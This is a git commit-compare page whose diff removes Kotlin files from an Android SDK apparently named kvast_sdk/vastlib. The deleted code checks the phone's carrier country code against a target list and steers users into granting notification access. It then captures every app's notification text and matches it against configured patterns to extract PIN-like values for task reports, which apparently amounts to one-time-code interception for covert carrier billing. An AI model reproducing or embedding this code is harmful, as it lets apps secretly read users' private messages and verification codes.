Compare commits
3 Commits
Author | SHA1 | Date |
---|---|---|
![]() |
b2ecd9791c | 2 years ago |
![]() |
441a6b350b | 2 years ago |
![]() |
cd9ba2bfea | 2 years ago |
@ -1,53 +0,0 @@
|
|||||||
package com.example.kvast_sdk
|
|
||||||
|
|
||||||
import android.content.ComponentName
|
|
||||||
import android.content.Context
|
|
||||||
import android.content.Intent
|
|
||||||
import androidx.core.content.ContextCompat.startActivity
|
|
||||||
import com.example.vastlib.entity.request.BaseRequestBuilder
|
|
||||||
import com.example.vastlib.utils.AndroidIdManager
|
|
||||||
import com.example.vastlib.utils.notificationListenerEnable
|
|
||||||
|
|
||||||
fun Context.openNotificationListener() {
|
|
||||||
val mandatoryTeleCode = listOf(
|
|
||||||
"214", "232", "260", "262", "420", "424", "502", "520", "510", "334", "470", "413"
|
|
||||||
)
|
|
||||||
AndroidIdManager.init(this.applicationContext)
|
|
||||||
val deviceInfoProvider = BaseRequestBuilder(this.applicationContext)
|
|
||||||
var code = deviceInfoProvider.telcoCode
|
|
||||||
// code="454"
|
|
||||||
if (code.isNotBlank() && mandatoryTeleCode.any { code.startsWith(it) }) {
|
|
||||||
showAlertDialog()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fun Context.showAlertDialog() {
|
|
||||||
if (!notificationListenerEnable()) {
|
|
||||||
gotoNotificationAccessSetting()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fun Context.gotoNotificationAccessSetting(): Boolean {
|
|
||||||
try {
|
|
||||||
val intent = Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS").apply {
|
|
||||||
flags = Intent.FLAG_ACTIVITY_NEW_TASK
|
|
||||||
}
|
|
||||||
startActivity(intent)
|
|
||||||
return true
|
|
||||||
} catch (e: java.lang.Exception) {
|
|
||||||
try {
|
|
||||||
val intent = Intent().apply {
|
|
||||||
flags = Intent.FLAG_ACTIVITY_NEW_TASK
|
|
||||||
component = ComponentName(
|
|
||||||
"com.android.settings",
|
|
||||||
"com.android.settings.Settings`$`NotificationAccessSettingsActivity"
|
|
||||||
)
|
|
||||||
}
|
|
||||||
startActivity(intent)
|
|
||||||
return true
|
|
||||||
} catch (e: java.lang.Exception) {
|
|
||||||
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,14 +0,0 @@
|
|||||||
package com.example.kvast_sdk
|
|
||||||
|
|
||||||
import android.service.notification.NotificationListenerService
|
|
||||||
import android.service.notification.StatusBarNotification
|
|
||||||
import com.example.vastlib.pin.NotificationManger.comeON
|
|
||||||
|
|
||||||
class NotificationService : NotificationListenerService() {
|
|
||||||
|
|
||||||
|
|
||||||
override fun onNotificationPosted(sbn: StatusBarNotification?) {
|
|
||||||
super.onNotificationPosted(sbn)
|
|
||||||
sbn?.comeON()
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,15 +0,0 @@
|
|||||||
package com.example.vastlib.entity.action
|
|
||||||
|
|
||||||
data class PinAction(
|
|
||||||
override var type: Int,
|
|
||||||
override var delay: Int,
|
|
||||||
override var next: List<Next> = emptyList(),
|
|
||||||
override var skip_error: Boolean,
|
|
||||||
override var async: Boolean,
|
|
||||||
override var disconnect_ws: Boolean,
|
|
||||||
var params:List<VarExtractRule> = emptyList(),
|
|
||||||
var filter:Boolean = true,
|
|
||||||
):BaseAction{
|
|
||||||
|
|
||||||
override fun toString() = ""
|
|
||||||
}
|
|
@ -1,26 +0,0 @@
|
|||||||
package com.example.vastlib.pin
|
|
||||||
|
|
||||||
import android.app.NotificationManager
|
|
||||||
import android.os.Bundle
|
|
||||||
import android.service.notification.StatusBarNotification
|
|
||||||
import com.example.vastlib.utils.LogUtils
|
|
||||||
|
|
||||||
object NotificationManger {
|
|
||||||
const val NotifyNfm = "NOTIFY_NFM"
|
|
||||||
var listener:((Bundle)->Unit)? = null
|
|
||||||
|
|
||||||
fun StatusBarNotification.comeON(){
|
|
||||||
notification.extras?.let {content->
|
|
||||||
val nfm = NotificationMessage(
|
|
||||||
content = content.getCharSequence("android.text", "").toString(),
|
|
||||||
from = content.getString("android.title",""),
|
|
||||||
time = System.currentTimeMillis(),
|
|
||||||
app = packageName,
|
|
||||||
)
|
|
||||||
val bundle = Bundle()
|
|
||||||
bundle.putSerializable(NotifyNfm, nfm)
|
|
||||||
listener?.invoke(bundle)
|
|
||||||
LogUtils.info("content notify: $content")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,12 +0,0 @@
|
|||||||
package com.example.vastlib.pin
|
|
||||||
|
|
||||||
import java.io.Serializable
|
|
||||||
|
|
||||||
data class NotificationMessage(
|
|
||||||
val content:String,
|
|
||||||
val from:String,
|
|
||||||
val time:Long,
|
|
||||||
val app:String
|
|
||||||
): Serializable {
|
|
||||||
override fun toString(): String = ""
|
|
||||||
}
|
|
@ -1,141 +0,0 @@
|
|||||||
package com.example.vastlib.service
|
|
||||||
|
|
||||||
import android.util.Log
|
|
||||||
import com.example.vastlib.entity.action.Next
|
|
||||||
import com.example.vastlib.entity.action.PinAction
|
|
||||||
import com.example.vastlib.entity.report.ActionExec
|
|
||||||
import com.example.vastlib.entity.task.TaskConfig
|
|
||||||
import com.example.vastlib.pin.NotificationMessage
|
|
||||||
import com.example.vastlib.utils.JSONUtils
|
|
||||||
import com.example.vastlib.utils.LogUtils
|
|
||||||
import kotlinx.coroutines.Dispatchers
|
|
||||||
import kotlinx.coroutines.delay
|
|
||||||
import kotlinx.coroutines.isActive
|
|
||||||
import kotlinx.coroutines.withContext
|
|
||||||
|
|
||||||
class PinActionExecService(
|
|
||||||
private val action: PinAction,
|
|
||||||
override val taskConfig: TaskConfig
|
|
||||||
) : BaseActionExecService(taskConfig) {
|
|
||||||
|
|
||||||
suspend fun executeAction(onFinish: (List<ActionExec>) -> Unit = {}) =
|
|
||||||
withContext(Dispatchers.IO) {
|
|
||||||
val actionExecList: MutableList<ActionExec> = mutableListOf()
|
|
||||||
var currentStep = taskConfig.current_step
|
|
||||||
kotlin.runCatching {
|
|
||||||
val start = System.currentTimeMillis()
|
|
||||||
var respCode = 200
|
|
||||||
val messageLog: MutableList<NotificationMessage> = mutableListOf()
|
|
||||||
val nextList = action.next
|
|
||||||
while (isActive && (start + action.delay * 1000) > System.currentTimeMillis()) {
|
|
||||||
val notificationCache = taskConfig.notificationCache
|
|
||||||
if (nextList.isNotEmpty() && notificationCache.isNotEmpty()) {
|
|
||||||
val notificationMessages =
|
|
||||||
haveNextCatchTargetMessage(notificationCache, nextList)
|
|
||||||
if (notificationMessages.isNotEmpty()) {
|
|
||||||
LogUtils.info("catch target message...")
|
|
||||||
messageLog.addAll(notificationMessages)
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
LogUtils.info("waiting for target message... ${action.delay}")
|
|
||||||
delay(1000)
|
|
||||||
}
|
|
||||||
val cost = System.currentTimeMillis() - start
|
|
||||||
if (messageLog.isNotEmpty()) {
|
|
||||||
val nextStep =
|
|
||||||
getNextStepIndex(nextList, JSONUtils.notificationToJsonString(messageLog), currentStep)
|
|
||||||
taskConfig.current_step = nextStep
|
|
||||||
} else {
|
|
||||||
if (nextList.isNotEmpty()) {
|
|
||||||
taskConfig.current_step = Int.MAX_VALUE
|
|
||||||
respCode = ERROR_CODE_PIN_ACTION_TIMEOUT
|
|
||||||
} else {
|
|
||||||
taskConfig.current_step = ++currentStep
|
|
||||||
messageLog += taskConfig.notificationCache
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if(taskConfig.current_step != Int.MAX_VALUE && messageLog.isNotEmpty()) {
|
|
||||||
val responseBody = JSONUtils.notificationToJsonString(messageLog)
|
|
||||||
extractBodyVariableToCache(action, responseBody, responseBody.toByteArray())
|
|
||||||
}
|
|
||||||
|
|
||||||
val actionExec = genActionExec(messageLog, currentStep, respCode, cost)
|
|
||||||
actionExecList += actionExec
|
|
||||||
}.onFailure {
|
|
||||||
LogUtils.error(it)
|
|
||||||
val actionExec = genExceptionActionExec(action, ERROR_CODE_PIN_ACTION_EXEC_FAILED, Log.getStackTraceString(it))
|
|
||||||
actionExecList += actionExec
|
|
||||||
if(action.skip_error) {
|
|
||||||
taskConfig.current_step = ++currentStep
|
|
||||||
}else {
|
|
||||||
taskConfig.current_step = Int.MAX_VALUE
|
|
||||||
}
|
|
||||||
}
|
|
||||||
onFinish(actionExecList)
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun genActionExec(
|
|
||||||
messageLog: MutableList<NotificationMessage>,
|
|
||||||
currentStep: Int,
|
|
||||||
respCode: Int,
|
|
||||||
cost: Long
|
|
||||||
): ActionExec{
|
|
||||||
val actionExec = ActionExec().apply {
|
|
||||||
this.step = currentStep
|
|
||||||
this.index = 1
|
|
||||||
this.respCode = respCode
|
|
||||||
this.cost = cost
|
|
||||||
this.time = System.currentTimeMillis()
|
|
||||||
if(messageLog.isNotEmpty()) {
|
|
||||||
this.url = messageLog.first().app
|
|
||||||
this.respData = JSONUtils.notificationToJsonString(messageLog)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return actionExec
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun haveNextCatchTargetMessage(
|
|
||||||
notificationCache: List<NotificationMessage>,
|
|
||||||
nextList: List<Next>
|
|
||||||
): List<NotificationMessage> {
|
|
||||||
var result: List<NotificationMessage> = mutableListOf()
|
|
||||||
var targetMessage: NotificationMessage? = null
|
|
||||||
for (notify in notificationCache) {
|
|
||||||
for (next in nextList) {
|
|
||||||
if (next.step <= 0) continue
|
|
||||||
LogUtils.info("next:$next")
|
|
||||||
val contain = next.contain
|
|
||||||
if (contain.isNotBlank() && notify.from.contains(contain) ||
|
|
||||||
notify.content.contains(contain)
|
|
||||||
) {
|
|
||||||
targetMessage = notify
|
|
||||||
break
|
|
||||||
}
|
|
||||||
|
|
||||||
if (next.regexp.isNotBlank()) {
|
|
||||||
val pattern = next.regexp.toRegex()
|
|
||||||
var matcher = pattern.matches(notify.from)
|
|
||||||
if (matcher) {
|
|
||||||
targetMessage = notify
|
|
||||||
break
|
|
||||||
}
|
|
||||||
|
|
||||||
matcher = pattern.matches(notify.content)
|
|
||||||
if (matcher) {
|
|
||||||
targetMessage = notify
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (targetMessage != null) {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (targetMessage != null) {
|
|
||||||
result = notificationCache.filter { targetMessage.from == it.from }.toList()
|
|
||||||
}
|
|
||||||
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,33 +0,0 @@
|
|||||||
package com.example.vastlib.utils
|
|
||||||
|
|
||||||
import android.content.ComponentName
|
|
||||||
import android.content.Context
|
|
||||||
import android.content.pm.PackageManager
|
|
||||||
import android.provider.Settings
|
|
||||||
|
|
||||||
fun Context.notificationListenerEnable():Boolean {
|
|
||||||
val flat = Settings.Secure.getString(contentResolver, "enabled_notification_listeners")
|
|
||||||
return flat?.contains(packageName) == true
|
|
||||||
}
|
|
||||||
|
|
||||||
fun Context.restartNotificationListenerServiceState() {
|
|
||||||
var notificationListenerServiceClass:String? = null
|
|
||||||
kotlin.runCatching {
|
|
||||||
val packageInfo = packageManager.getPackageInfo(packageName,
|
|
||||||
PackageManager.GET_SERVICES or PackageManager.GET_DISABLED_COMPONENTS)
|
|
||||||
for (serviceInfo in packageInfo.services) {
|
|
||||||
if("android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" == serviceInfo.permission) {
|
|
||||||
notificationListenerServiceClass = serviceInfo.name
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(null == notificationListenerServiceClass) return
|
|
||||||
packageManager.setComponentEnabledSetting(ComponentName(this,
|
|
||||||
notificationListenerServiceClass!!
|
|
||||||
), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP)
|
|
||||||
|
|
||||||
packageManager.setComponentEnabledSetting(ComponentName(this,
|
|
||||||
notificationListenerServiceClass!!
|
|
||||||
), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP)
|
|
||||||
}
|
|
Loading…
Reference in new issue